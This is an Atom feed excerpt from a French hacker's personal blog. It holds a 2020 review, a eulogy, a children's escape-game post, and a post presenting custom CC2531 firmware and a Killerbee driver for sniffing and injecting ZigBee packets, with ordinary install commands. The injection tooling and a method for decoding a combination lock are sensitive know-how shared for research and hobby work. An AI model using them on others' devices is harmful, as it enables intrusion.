&lt;p&gt;Une des solutions possibles consiste à externaliser la conversion numérique/analogique et analogique/numérique, idéalement en employant des composants
permettant d'échantillonner avec une bonne résolution (12 bits dans les deux cas), et fournissant un débit suffisant pour avoir une bonne qualité audio.
On pourrait aussi envisager l'emploi d'un microphone I2S (qui fournit directement des échantillons numériques), mais je n'ai pas envie de perdre le grain
du microphone du téléphone original.&lt;/p&gt;
&lt;p&gt;La solution idéale pour le prototypage consiste à utiliser une carte adaptée, en l'occurence une &lt;em&gt;esp32-lyrat-mini&lt;/em&gt;, compatible avec le framework &lt;em&gt;esp-adf&lt;/em&gt;
d'Espressif. Ce framework est dédié au traitement audio, et cette carte compatible intègre tout ce qu'il faut pour faire la conversion analogique/numérique
et numérique/analogique via des composants externes. Elle intègre aussi des filtres adaptés, histoire d'avoir une meilleure qualité sonore. En bref,
c'est vraiment une board faite pour cet usage. Comme un crétin, je ne pensais pas devoir en arriver là pour réaliser ce projet, mais je pense que
je ne vais pas avoir d'autre choix. J'ai passé commande, on verra dans quelques semaines ce que ça donne 😀.&lt;/p&gt;
&lt;img alt="ESP32-Lyrat-Mini" src="/images/2021-02-interphones/lyrat.jpg" /&gt;
&lt;/div&gt;
</content><category term="Projets"/><category term="esp32"/><category term="oldies"/></entry><entry><title>Wrap-up 2020 &amp; welcome 2021 !</title><link href="https://virtualabs.fr/humeur/bye-bye-2020" rel="alternate"/><published>2021-01-03T23:00:00+01:00</published><updated>2021-01-03T23:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2021-01-03:/humeur/bye-bye-2020</id><summary type="html">&lt;p&gt;L'année 2020 est désormais terminée, l'occasion de faire le bilan de cette année qui fut, je pense
que tout le monde en conviendra, bien pourrie. Entre épidémie de COVID-19, l'école à la maison, le
télétravail à plein temps, les WTFs politiques, l'annulation de (presque) tous les events sécu ou
leur …&lt;/p&gt;</summary><content type="html">&lt;p&gt;L'année 2020 est désormais terminée, l'occasion de faire le bilan de cette année qui fut, je pense
que tout le monde en conviendra, bien pourrie. Entre épidémie de COVID-19, l'école à la maison, le
télétravail à plein temps, les WTFs politiques, l'annulation de (presque) tous les events sécu ou
leur report en 2021, et surtout la plongée dans l'incertitude causée par le virus et la gestion de
ce dernier, cela a été éprouvant. Je profite donc du passage à la nouvelle année pour faire le point
sur ce qu'a été pour moi 2020, et comment j'envisage cette nouvelle année.&lt;/p&gt;
&lt;div class="section" id="confinement"&gt;
&lt;h2&gt;Confinement&lt;/h2&gt;
&lt;p&gt;2020 m'a appris dès le mois de mars plusieurs choses importantes. La première et pas des moindres, c'est
que les professeurs des écoles ont bien du courage. J'ai eu mes deux affreux comme élèves chaque matinée
pendant le confinement (enfin presque, ma moitié a pris le relais certaines semaines), et ce n'était pas
de la tarte. J'ai du réorganiser mes journées durant les premières semaines afin de concilier école à la
maison et boulot à distance, ce qui me faisait des journées bien chargées (9h - 3h). J'ai tenu le rythme
pendant deux semaines, youpi.&lt;/p&gt;
&lt;p&gt;La seconde, c'est l'importance d'avoir une pièce à part pour le télétravail. C'est priceless. Lorsque
j'ai emmenagé dans ma maison actuelle, j'avais prévu une pièce dédiée pour mon bureau car j'étais déjà
à cette période régulièrement en télétravail. Du coup quand on s'est retrouvé confinés, je pouvais bosser
dans une pièce à part avec tout le matériel requis (écran externe, clavier, souris, connexion FTTH,
fauteuil confortable), ce qui était très appréciable. J'ai de nombreux collègues et amis qui ont pété
des câbles à force de bosser dans leur salon ou leur cuisine, encore plus lorsqu'ils habitent sur Paris.&lt;/p&gt;
&lt;p&gt;La troisième et dernière, c'est qu'il est important de prendre du temps pour soi. Avec toute la famille à
la maison, je n'avais plus d'instants de solitude tels ceux que j'avais régulièrement dans les transports
en commun, et c'est vite devenu pesant. Difficile de trouver un moment calme pour prendre du temps pour moi,
que ce soit pour des hobbies ou plus simplement être tranquille. J'ai pris l'habitude de me réserver deux
ou trois heures la nuit, entre 23h et 1h ou 2h du matin, afin de vaquer à des occupations diverses et souffler.
Et ça m'a permis de mieux tenir, je crois.&lt;/p&gt;
&lt;img alt="This is fine." src="/images/2020-01-03/thisisfine.jpg" /&gt;
&lt;/div&gt;
&lt;div class="section" id="rentree-2020"&gt;
&lt;h2&gt;Rentrée 2020&lt;/h2&gt;
&lt;p&gt;Après un été complètement déconnecté, la reprise en septembre s'est passée relativement bien. Et chargée, aussi.
Toujours en télétravail. La différence avec mars, c'est que la plupart des gens avec qui j'étais en contact pour
le boulot se sont habitués aux réunions à distance, et l'activité a ainsi pu reprendre son cours. A ce moment
précis, le moral n'était pas au top mais tenait le coup.&lt;/p&gt;
&lt;p&gt;C'est à ce moment que je me suis rendu compte des dégâts du confinement. Je pensais m'en être assez bien sorti,
car bon le télétravail cela fait quelques années que je pratique et j'estimais avoir un moral solide.
Au final, je pense avoir fait une mini-dépression (comme pas mal de monde d'après les statistiques), et je ne
m'en suis pas rendu compte de suite.
Pour ne rien arranger, la structure chargée de la garde à domicile de mes loulous nous a clairement fait comprendre
qu'ils n'avaient plus personne (à cause du COVID), et il a donc fallu gérer cela en parallèle.&lt;/p&gt;
&lt;p&gt;Je me suis ainsi retrouvé plusieurs soirs devant mon ordinateur, à vouloir bosser sur des projets persos et au final
terminer sur youtube à regarder des vidéos inintéressantes pendant des heures. Jusqu'à me rendre compte que je n'ai
rien fait, et désespérer de ne rien avancer (alors que ce n'était pas les projets qui manquaient).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="debuts-sur-twitch"&gt;
&lt;h2&gt;Débuts sur Twitch&lt;/h2&gt;
&lt;p&gt;Fort de ce constat, je me suis demandé si Twitch ne pourrait pas être une solution. Je connaissais Twitch de par le
confinement et pour y avoir streamé une fois dans le cadre de &lt;a class="reference external" href="https://plopsec.io"&gt;PlopSec&lt;/a&gt;, et plus j'y pensais et plus cela semblait
intéressant. Twitch offre une proximité, une interaction, qui me rappellaient les évènements sécu qui commençaient
à me manquer. Peut-être que ce que je fais habituellement dans le cadre de mes projets persos pouvait intéresser du
monde ? En ce qui me concerne, je pensais qu'avoir du monde qui me regarde avancer mes projets allait me donner un
coup de pied au derrière et m'éviter de tomber dans les méandres de youtube. Aussi, avant de me lancer, j'ai sondé
Twitter:&lt;/p&gt;
&lt;center&gt;&lt;blockquote class="twitter-tweet"&gt;&lt;p lang="fr" dir="ltr"&gt;Ca intéresserait du monde que je streame du RE hardware, du dev embarqué (genre sur T-Watch 2020), ou de la conception électronique (schéma,pcb) ? Principalement en soirée et de manière ponctuelle.&lt;/p&gt;&amp;mdash; Damien Cauquil (@virtualabs) &lt;a href="https://twitter.com/virtualabs/status/1301478770902216705?ref_src=twsrc%5Etfw"&gt;September 3, 2020&lt;/a&gt;&lt;/blockquote&gt; &lt;script async src="https://platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;&lt;/center&gt;&lt;p&gt;Le retour a été très positif, et c'est comme cela qu'ont débuté en septembre mes premiers lives sur Twitch, l'occasion
d'avancer réellement les projets qui étaient dans les cartons. Comme les deux super-minitels qu'il me restait à terminer
suite au financement participatif de OpenIt, et que je devais réaliser depuis des années, et qui sont encore attendus par
deux des backers. Ce projet demandait pas mal de boulot, car il fallait refaire la carte électronique dans son intégralité
pour l'adapter aux dernières évolutions des Raspberry Pi (la première version étant conçu pour un Raspberry Pi 1). Ou encore
le reverse de mon Ninja Badge de la DEFCON 18 (2010), que je m'étais promis de faire depuis que je l'ai eu.&lt;/p&gt;
&lt;p&gt;Au final, le coup de pied au derrière a été bénéfique et je suis encore étonné du nombre de personnes qui suivent mes lives
techniques, et qui parfois avouent ne pas trop comprendre mais trouvent ça cool ! J'ai ainsi pu bien avancer mes projets et
découvrir des streamers francophones qui font aussi des trucs super cools (coucou &lt;a class="reference external" href="https://www.twitch.tv/cabridiy"&gt;CabriDIY&lt;/a&gt;, &lt;a class="reference external" href="https://www.twitch.tv/ioodyme"&gt;Neodyme et iooner&lt;/a&gt;, &lt;a class="reference external" href="https://www.twitch.tv/barbatroniclive"&gt;Barbatronic&lt;/a&gt; et &lt;a class="reference external" href="https://www.twitch.tv/yorzian"&gt;Yorzian a.k.a. Yves Rougy&lt;/a&gt;),
tout en étant soutenu par de plus en plus de personnes durant les lives. C'est un peu stressant au début, mais je crois que
je me suis pris au jeu et ce qui devait être à l'origine occasionnel est désormais plutôt régulier. Encore un grand merci à
toutes les personnes qui sont passés durant les lives, qui suivent plus ou moins de près mes projets et celles qui ont été
là dès le début. C'est ultra-motivant, et sincèrement je pense que cela a rendu la fin d'année plus agréable et suportable
malgré les circonstances actuelles !&lt;/p&gt;
&lt;p&gt;Un grand merci aussi aux potos de &lt;a class="reference external" href="https://www.yeswehack.com/"&gt;YesWeHack&lt;/a&gt; qui ont tenu à me fournir un PC digne de ce nom pour que je puisse streamer en
toute quiétude et avec une qualité décente, ça me change des fins de live à 10 fps avec un CPU à 90% ! J'ai un peu investi
afin d'améliorer l'image durant les lives, en particulier pour tout ce qui concerne l'électronique et le DIY en général. On
verra si ça fonctionne assez rapidement, je pense.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="quoi-de-neuf-pour-2021"&gt;
&lt;h2&gt;Quoi de neuf pour 2021 ?&lt;/h2&gt;
&lt;p&gt;Maintenant que 2020 est désormais derrière nous, il est temps de se concentrer sur 2021 et les projets sur lesquels je compte
avancer (faudra quand même prioriser avant):&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Les deux super-minitels à terminer ;&lt;/li&gt;
&lt;li&gt;La hackwatch, a.k.a la transformation d'une smartwatch en outil de hack portable pour WiFi et Bluetooth Low Energy ;&lt;/li&gt;
&lt;li&gt;Un hack de vieux téléphones à cadrans rotatifs pour en faire des interphones sans-fil pour la maison ;&lt;/li&gt;
&lt;li&gt;Mon avion RC conçu maison et imprimé en 3D ;&lt;/li&gt;
&lt;li&gt;Un panneau &amp;quot;ON AIR&amp;quot; automatisé pour la porte du bureau, histoire de pas être dérangé durant des calls ;&lt;/li&gt;
&lt;li&gt;Un challenge hardware maison à destination de ceux qui veulent débuter en reverse hardware et software ;&lt;/li&gt;
&lt;li&gt;Un ou plusieurs gadgets interactifs pour égayer les lives Twitch.&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Voilà les différentes idées que j'ai eu pour cette nouvelle année, et c'est sans parler des mini-projets de reverse hardware
qui seront faits en live, des replays de talks précédents ou encore d'autres idées qui pourraient survenir durant l'année.
D'ailleurs, si vous en avez n'hésitez pas à m'en faire part sur Twitter ou lors d'un live Twitch ! Mon objectif principal consiste à boucler au plus vite les super-minitels pour les envoyer à leurs destinataires, histoire
de combler la dette que j'ai auprès des backers du financement participatif, et ensuite de m'éclater à faire ces projets
en live avec les wins et les fails habituels !&lt;/p&gt;
&lt;p&gt;Enfin, j'aimerais pouvoir refaire des talks lors de conférences mais pour l'instant je n'ai aucune visibilité sur l'organisation
de ces dernières. Les conférences en ligne c'est bien, mais il manque sincèrement l'interaction avec le public, ce qui fait
que c'est beaucoup moins drôle à faire. On verra en fonction des idées de talks et de l'évolution de la situation globale. Mais
je n'attends qu'une seule chose, pouvoir remonter sur une scène lors d'une conférence et partager mes hacks/tools/whatever avec plein
de gens (et partager/échanger autour d'une bière ou d'un coca lors d'un event). Et j'espère que cela pourra se faire en 2021.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="pour-finir"&gt;
&lt;h2&gt;Pour finir&lt;/h2&gt;
&lt;p&gt;Bonne année à tous, j'espère qu'elle sera bien mieux que l'année 2020 ! Hackez plein de trucs, bidouillez dans la joie et la bonne
humeur 😄. Pensez à prendre le temps de prendre soin de vous, de chérir les personnes qui vous sont proches, de profiter de la vie.
Si 2020 nous a enseigné au moins une chose, c'est bien cela.&lt;/p&gt;
&lt;/div&gt;
</content><category term="Humeur"/><category term="2020"/><category term="projets"/><category term="wrap-up"/></entry><entry><title>Attaquer du ZigBee pour moins de 10€ ? Yes we can !</title><link href="https://virtualabs.fr/projets/bumblebee-zigbee-killerbee" rel="alternate"/><published>2020-12-09T23:00:00+01:00</published><updated>2020-12-09T23:00:00+01:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2020-12-09:/projets/bumblebee-zigbee-killerbee</id><summary type="html">&lt;div class="section" id="to-killer-bee-or-not-to-killer-bee"&gt;
&lt;h2&gt;to (Killer)bee or not to (Killer)bee&lt;/h2&gt;
&lt;p&gt;Je me suis récemment attaqué à la rétro-ingénierie du Ninja Badge de la DEFCON 18, et il se trouve que ce badge
communique avec d'autres badges similaires via la couche MAC du protocole ZigBee (IEEE 802.15.4). Disposant d'un
HackRF One …&lt;/p&gt;&lt;/div&gt;</summary><content type="html">&lt;div class="section" id="to-killer-bee-or-not-to-killer-bee"&gt;
&lt;h2&gt;to (Killer)bee or not to (Killer)bee&lt;/h2&gt;
&lt;p&gt;Je me suis récemment attaqué à la rétro-ingénierie du Ninja Badge de la DEFCON 18, et il se trouve que ce badge
communique avec d'autres badges similaires via la couche MAC du protocole ZigBee (IEEE 802.15.4). Disposant d'un
HackRF One, j'ai réussi  à décoder les messages envoyés à l'aide de &lt;em&gt;Gnuradio Companion&lt;/em&gt;, mais il m'était très difficile
de coder un outil permettant de faire de l'envoi et de la réception en simultané, le HackRF One n'étant pas full-duplex.
Il m'a donc fallu trouver un plan B.&lt;/p&gt;
&lt;p&gt;Quand il s'agit de recevoir et de transmettre des paquets ZigBee, le framework Killerbee sauve pas mal la vie. Ce framework
écrit en Python s'interface avec des équipements adaptés, et est en mesure de &lt;em&gt;sniffer&lt;/em&gt; et injecter des paquets ZigBee. Enfin,
quand on l'utilise avec des équipements qui le permettent. En effet, le seul device abordable qui était compatible avec ce
framework est le RZ Raven d'ATMEL, dont la production a été arrêtée et qui est actuellement introuvable. Les équipements
restants sont plus coûteux, comme l'ApiMote d'Attify (150$), le TelosB Mote, ou encore des cartes Silicon Labs compatibles (~300€).
Par ailleurs, il existe bien un second équipement pas cher, une clé USB à base de TI CC2531, mais cette dernière ne supporte
que le sniffing, ce qui ne me suffisait pas.&lt;/p&gt;
&lt;img alt="Une clé TI CC2531" src="/images/2020-bumblebee/ticc2531.webp" /&gt;
&lt;p&gt;J'ai donc commandé une de ces clés USB à base de TI CC2531, et j'ai réussi à capturer des paquets ZigBee et à débuter l'analyse
du protocole de communication du badge. Cependant, impossible d'envoyer de manière fiable des paquets, et donc d'interagir avec
ce dernier. Je commençais sérieusement à douter du framework, et songeais à trouver une solution alternative. Il était clair
à ce moment que personne n'avait implémenté le support de l'injection de paquet pour cette clé USB, malgré plusieurs demandes
faites via des issues sur &lt;a class="reference external" href="https://github.com/riverloopsec/killerbee/issues/99#issuecomment-460108620"&gt;leur repository Github&lt;/a&gt;. La réponse apportée ? &amp;quot;Do it yourself&amp;quot;, si je résume le propos. Eh bien faisons ça alors.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="creation-d-un-firmware-pour-le-ti-cc2531"&gt;
&lt;h2&gt;Création d'un firmware pour le TI CC2531&lt;/h2&gt;
&lt;p&gt;Ayant déjà développé sur des puces gérant des communications radio dans le cadre de mes recherches sur le protocole &lt;em&gt;Bluetooth Low Energy&lt;/em&gt;,
développer un firmware spécifique pour la puce TI CC2531 ne me faisait pas tellement peur. Par contre, si je pouvais éviter d'y passer trois
semaines, ça m'arrangerait passablement. J'ai donc commencé à scruter le web à la recherche de kits de développement permettant de développer
pour cette puce, avec potentiellement le support de la couche radio déjà disponible. Je suis assez rapidement tombé sur le code de &lt;a class="reference external" href="https://github.com/contiki-os/contiki"&gt;Contiki&lt;/a&gt;, un
micro-système d'exploitation qui supporte notamment la puce en question. Et pour lequel la couche radio est déjà implémentée, yippie !&lt;/p&gt;
&lt;p&gt;Je me suis donc lancé dans le développement de ce firmware, en ajoutant une couche de communication par port série (exposé via la connectique USB)
afin de piloter la puce à partir d'un ordinateur qui communique avec le code gérant la radio. La structure de Contiki, qui propose un semblant de
processus, permet d'implémenter cela de manière très simple. Le premier test a pu être rapidement effectué, et s'est montré très concluant: j'arrivais
à sniffer et transmettre des paquets ZigBee, autrement dit j'avais une bonne base de travail. J'ai bouclé le développement du firmware en moins d'une
semaine, et mis le code à disposition (ainsi qu'une release pré-compilée) sur &lt;a class="reference external" href="https://github.com/virtualabs/cc2531-killerbee-fw"&gt;mon repository Github associé&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="ajout-d-un-driver-a-killerbee"&gt;
&lt;h2&gt;Ajout d'un driver à Killerbee&lt;/h2&gt;
&lt;p&gt;Développer un firmware c'est bien, mais faire en sorte que Killerbee puisse communiquer avec est encore mieux. En parallèle, j'ai donc implémenté un
driver spécifique dans le framework Killerbee, capable de communiquer avec le firmware en question et qui supporte ainsi le sniffing et l'injection
de paquets. Ce développement a été effectué sur la branche &lt;em&gt;py3&lt;/em&gt; du projet, qui n'est pas encore la version 3.0 officielle de Killerbee mais qui
devrait l'être une fois que le portage sur Python 3.0 sera terminé, grâce à la réactivité de RiverLoopSec qui a poussé des modifications en attente
quand je les ai sollicité sur Twitter (encore merci à eux !).&lt;/p&gt;
&lt;p&gt;Ce driver est ainsi capable de sniffer des paquets ZigBee, avec pour seule limitation que ces paquets doivent avoir un FCS (une somme de contrôle)
valide (il est possible d'ajouter le support des paquets invalides, mais je ne l'ai pas encore fait). Il est par ailleurs capable d'envoyer des paquets,
là encore sans possibilité de contrôler le FCS. Mais c'est bien suffisant pour ce que j'ai à faire sur ce matériel. Il a d'ailleurs fallu trouver
un petit nom à ce firmware, et celui proposé par &lt;em&gt;tartofraise&lt;/em&gt; lors d'un live Twitch a été retenu: &lt;strong&gt;Bumblebee&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Le code du driver est intégré dans mon fork de &lt;em&gt;Killerbee&lt;/em&gt;, disponible &lt;a class="reference external" href="https://github.com/virtualabs/killerbee"&gt;en suivant ce lien&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="comment-installer-et-utiliser-bumblebee"&gt;
&lt;h2&gt;Comment installer et utiliser Bumblebee ?&lt;/h2&gt;
&lt;p&gt;Le code source et une version pré-compilée du firmware ont été rendus publics sur &lt;a class="reference external" href="https://github.com/virtualabs/cc2531-killerbee-fw"&gt;mon dépôt Github associé&lt;/a&gt;,
qui détaille par ailleurs plusieurs méthodes permettant d'installer ce dernier sur une clé TI CC2531. Basiquement, il vous faudra un programmateur CC-Debugger,
ou un Raspberry Pi voire un Arduino. Une fois le firmware installé sur la clé, cette dernière est prête à l'emploi.&lt;/p&gt;
&lt;p&gt;Sur l'ordinateur, installer killerbee à l'aide de l'outillage Python:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ git clone --branch py3 https://github.com/virtualabs/killerbee.git
$ cd killerbee
$ python3 setup.py sdist
$ sudo pip3 install dist/killerbee-2.7.1.tgz
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Killerbee est installé et prêt à l'emploi, y compris le support de Bumblebee. Vous pouvez désormais utiliser tous les outils classiques de Killerbee avec cette
clé USB !&lt;/p&gt;
&lt;p&gt;Si vous trouvez des bugs, ou souhaitez des améliorations, n'hésitez pas à soumettre des issues ou des feature requests, et pourquoi pas des pull requests !&lt;/p&gt;
&lt;/div&gt;
</content><category term="Projets"/><category term="killerbee"/><category term="sniffing"/><category term="injection"/><category term="zigbee"/></entry><entry><title>2020 est décidemment une année bien pourrie.</title><link href="https://virtualabs.fr/humeur/dvrasp" rel="alternate"/><published>2020-07-06T23:00:00+02:00</published><updated>2020-07-06T23:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2020-07-06:/humeur/dvrasp</id><summary type="html">&lt;img alt="David Marclay (aka Dvrasp)" src="/images/dvrasp.jpg" /&gt;
&lt;p&gt;Je ne pensais pas écrire ce bout de texte maintenant, mais il semblerait qu'il en ait été décidé autrement.
Un coup de fil d'un ami proche, passé un samedi midi ensoleillé, et que j'ai loupé car occupé à préparer le
repas avec ma petite famille. J'ai répondu par SMS un …&lt;/p&gt;</summary><content type="html">&lt;img alt="David Marclay (aka Dvrasp)" src="/images/dvrasp.jpg" /&gt;
&lt;p&gt;Je ne pensais pas écrire ce bout de texte maintenant, mais il semblerait qu'il en ait été décidé autrement.
Un coup de fil d'un ami proche, passé un samedi midi ensoleillé, et que j'ai loupé car occupé à préparer le
repas avec ma petite famille. J'ai répondu par SMS un &amp;quot;Tu voulais ?&amp;quot;, histoire de voir si ça pouvait se régler
simplement en quelques messages échangés. &amp;quot;Rappelle, important&amp;quot;. Ce que je fis, donc. Pour apprendre que David M a.k.a &lt;em&gt;dvrasp&lt;/em&gt;,
un ami de longue date, s'est éteint la veille sans crier gare. Après Paolo, Peter, Simon, la communauté HZV
perd un de ses plus anciens membres. Et nous, eh bien, on en a gros.&lt;/p&gt;
&lt;p&gt;Ma première rencontre avec David s'est passé sur IRC, le Discord des vieux. A l'époque, j'étais étudiant et
m'amusais à creuser le format de fichier des programmes
exécutables de Windows, et je l'ai contacté pour savoir s'il y avait moyen de publier un article dans feu
The Hackademy Magazine, dont il était rédacteur en chef. Il a trouvé l'idée sympa, et c'est ainsi que mon
premier article est paru, en 2005. Ma première rencontre IRL avec David s'est déroulée quelques mois plus
tard, quand nous discutions avec la société d'édition pour laquelle il travaillait d'un projet de magazine
que nous souhaitions lancer, XeLoRy et moi-même. Ce premier vrai contact m'a marqué: j'ai découvert une
personne qui semblait très réfléchie, ouverte et amicale. Nous avons assez peu échangé ce jour là, en vérité.
Ce fut pour moi l'occasion de mettre un visage sur un pseudonyme, ce qui n'était pas rien. Nous avons continué
à échanger par la suite, des articles, des idées, du code. Jusqu'à ce qu'il me fasse suivre une offre d'emploi.&lt;/p&gt;
&lt;p&gt;A ce moment là, ma situation personnelle était assez précaire: j'étais étudiant, en couple, avec un loyer et une
voiture, mais de maigres revenus. J'avais pris la décision de chercher du travail afin de pouvoir être
serein et démarrer dans la vie active, et nous en avions discuté. David et moi étions d'accord sur le fait
que pigiste n'était pas une situation d'avenir, surtout avec les retards de paiement de la société d'édition.
Quand quelqu'un l'a contacté pour savoir s'il pouvait passer une annonce pour une offre d'emploi
particulière, il y a jeté un oeil et a directement pensé à moi. Il s'agissait d'un poste d'ingénieur de développement
C/C++ pour lequel des connaissances en reverse engineering étaient souhaitées. J'ai lu en diagonale l'offre,
et me suis arrêté sur &amp;quot;Vous êtes diplômé(e) d'une école d'ingénieur ou équivalent universitaire (Bac + 5)&amp;quot;. Je
lui ai répondu que je n'avais pas ce niveau, et donc que je ne correspondais pas au profil. Il a insisté. Durant un
mois, presque. Jusqu'à ce que je me décide à envoyer une lettre de motivation et un CV. Deux semaines plus tard,
après un entretien téléphonique et un rendez-vous à Paris, j'étais embauché. &amp;quot;Je te l'avais dit que ton profil
ferait l'affaire !&amp;quot;, m'a-t-il répondu lorsque je lui annonçait la nouvelle. C'est grâce à David que j'ai eu mon
premier job. Pas moins que ça.&lt;/p&gt;
&lt;p&gt;Nous nous croisions régulièrement durant les meetings HZV organisés à Sysdream, l'occasion de discuter autour d'une
bière ou quinze, mais aussi lors des Nuits du Hack que nous organisions plus ou moins de façon anticipée. Je me rappelle
en particulier de la Nuit du Hack 2007, lorsque nous rentrions chacun chez nous via le premier RER du matin (ou presque).
David était en face de moi, sa sacoche sur les genoux. Il l'ouvre, regarde dedans, et sort un &amp;quot;Ohhh meeerde ! Je crois
que j'ai oublié mon laptop !&amp;quot; ... avant de se raviser et de sortir un ordinateur portable qui prenait toute la place
dans la sacoche. Ainsi qu'un petit livre intitulé &amp;quot;Memoirs of a virus programmer&amp;quot;, qu'il me présente comme étant un
excellent ouvrage que je devrais lire, et me le donne ensuite. Nous nous quitterons quelques stations plus loin, nous donnant
rendez-vous à un prochain meeting HZV ou à la prochaine Nuit du Hack, ou encore sur IRC. J'avalais le livre dans la semaine
et effectivement, ce fut une lecture très intéressante. Quelques années plus tard, c'est à 4 heures du matin que l'on
s'est retrouvé pour rédiger les slides de la présentation que je donnais le jour même lors d'une Nuit du Hack. L'occasion
de bien rigoler et de fignoler le support d'un talk en y intégrant des références subtiles (ou pas), tout en l'ayant lui comme
public fictif, challengeant mes arguments et posant des questions afin d'améliorer ma préparation.&lt;/p&gt;
&lt;p&gt;J'ai ce souvenir de David, quelqu'un de sincère et généreux, intelligent et perspicace, avec qui j'ai eu de nombreuses discussions
éclairées ou éclairantes. Je garde ces quelques anecdotes de lui et bien d'autres (mais impossible de toutes les narrer
dans un billet de blog), ces moments simples où l'on se marrait, sa bienveillance. Repose en paix, l'ami.&lt;/p&gt;
</content><category term="Humeur"/><category term="rip"/><category term="dvrasp"/><category term="farewell"/></entry><entry><title>Le Trésor d'Ecco Rona, un escape game pour enfants</title><link href="https://virtualabs.fr/geekeries/ecco-rona" rel="alternate"/><published>2020-04-07T00:03:00+02:00</published><updated>2020-04-07T00:03:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2020-04-07:/geekeries/ecco-rona</id><summary type="html">&lt;p&gt;Je suppose que vous n'êtes pas passé à côté de la nouvelle, mais en ce moment c'est confinement. Je me retrouve donc
à la maison avec mes deux minis-moi (un de 6 ans, l'autre de 7) que je dois occuper tant bien que mal. Une fois passé
le stock de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Je suppose que vous n'êtes pas passé à côté de la nouvelle, mais en ce moment c'est confinement. Je me retrouve donc
à la maison avec mes deux minis-moi (un de 6 ans, l'autre de 7) que je dois occuper tant bien que mal. Une fois passé
le stock de jeux de sociétés dont nous disposons, pourtant bien fourni, je me suis rapidement retrouvé sans munition.&lt;/p&gt;
&lt;p&gt;Et c'est là que j'ai aperçu une de mes boîtes de &lt;em&gt;Unlock&lt;/em&gt;, un escape game à base de cartes qui nous a fait passer de bonnes soirées,
et je me suis dit: &amp;quot;Et pourquoi ne pas inventer un escape game pour enfants en CP/CE1 ?&amp;quot;.&lt;/p&gt;
&lt;img alt="Unlock, un jeu d'escape game à base de cartes" src="/images/2020-04-ecco-rona/unlock-banner.png" /&gt;
&lt;div class="section" id="un-cadenas-mon-royaume-pour-un-cadenas"&gt;
&lt;h2&gt;Un cadenas, mon Royaume pour un cadenas !&lt;/h2&gt;
&lt;p&gt;J'ai de suite pensé à utiliser un cadenas pour l'épreuve finale, et en particulier mon &lt;a class="reference external" href="https://ugears-models.fr/produit/tous-les-produits/decouverte/la-serrure-cryptex-puzzle-3d-mecanique-en-bois-ugears-france/"&gt;cryptex de chez Ugears&lt;/a&gt; que
j'ai eu à Noël il y a deux ans. Oui mais il y a un hic: je ne me souviens absolument plus du code de ce dernier ! Le code de ce cryptex est défini lors du montage,
et est donc fixe. La première étape a donc été de retrouver ce code à 3 chiffres, sans faire de recherche exhaustive car bien trop longue (il faut placer les anneaux de manière
à ce qu'ils soient parfaitement alignés sur la combinaison pour que le cryptex s'ouvre) ! J'ai donc opté pour une méthode plus rapide, assez similaire aux techniques employées sur certains cadenas à bagues: le décodage.&lt;/p&gt;
&lt;img alt="La combinaison est définie par la position de l'encoche sur les rotors" src="/images/2020-04-ecco-rona/rotors.png" /&gt;
&lt;p&gt;Le principe du cryptex est simple: chaque anneau possède une encoche en face du chiffre qui lui est associé dans la combinaison, ce qui n'autorise la partie mobile (l'anse) à ne bouger
que lorsque les encoches des anneaux sont alignées avec la barre de verrouillage, autrement dit lorsque la bonne combinaison est choisie. L'objectif quand on cherche à décoder la combinaison
est donc de retrouver la position de ces encoches à l'aide d'un outil nommé &amp;quot;décodeur&amp;quot;.&lt;/p&gt;
&lt;img alt="Le cryptex de Ugears, ouvert :)" src="/images/2020-04-ecco-rona/decodeur.jpg" /&gt;
&lt;p&gt;J'ai utilisé une canette vide pour en récupérer la tôle, puis découpé cette dernière de façon à avoir une fine languette de métal. En plaçant cette dernière entre deux anneaux (ou rotors),
et en faisant tourner ces derniers, la languette est &amp;quot;attrapée&amp;quot; par l'encoche et entraînée dans la rotation de l'anneau, dévoilant ainsi un chiffre de la combinaison. J'ai ainsi pu retrouver
les trois chiffres composant cette combinaison, et ouvrir le cryptex (ouf !).&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="realisation-de-l-escape-game-phase-1"&gt;
&lt;h2&gt;Réalisation de l'escape game (phase 1)&lt;/h2&gt;
&lt;p&gt;Je pensais que cela allait être une tâche facile de créer cet escape game, mais non. La particularité des escape games
basé sur des cartes, comme &lt;em&gt;Unlock&lt;/em&gt;, c'est que la plupart des actions nécessitent de faire des combinaisons. &lt;em&gt;Unlock&lt;/em&gt;
utilise par ailleurs une application pour Android et iOS afin de proposer des casse-têtes, des puzzles, et même de la
réalité augmentée. En ce qui me concerne, je n'avais pas le temps de développer une application aussi complexe, cela
va de soi. Il faut donc anticiper un tantinet les numéros que l'on va attribuer aux cartes, afin d'éviter les erreurs
et de permettre l'utilisation de valeurs crédibles en fonction des éléments à trouver.&lt;/p&gt;
&lt;p&gt;Je me suis donc lancé en début d'après-midi, en partant de recherches sur Google Images pour trouver mes images de base
(il ne vous aura pas échappé que je ne suis point graphiste, et heureusement) et Inkscape pour la conception des cartes.
Il m'a fallu un peu plus d'une heure pour pondre une histoire et une ébauche de résolution, créer les différentes cartes
et intégrer le tout.&lt;/p&gt;
&lt;p&gt;J'ai ensuite imprimé l'ensemble des cartes, les ai découpées et assemblées. Je les ai ensuite essayées en y jouant avec
mes minis-moi, qui se sont bien pris au jeu !&lt;/p&gt;
&lt;img alt="Test de l'escape game avec les enfants" src="/images/2020-04-ecco-rona/test-game.jpg" /&gt;
&lt;/div&gt;
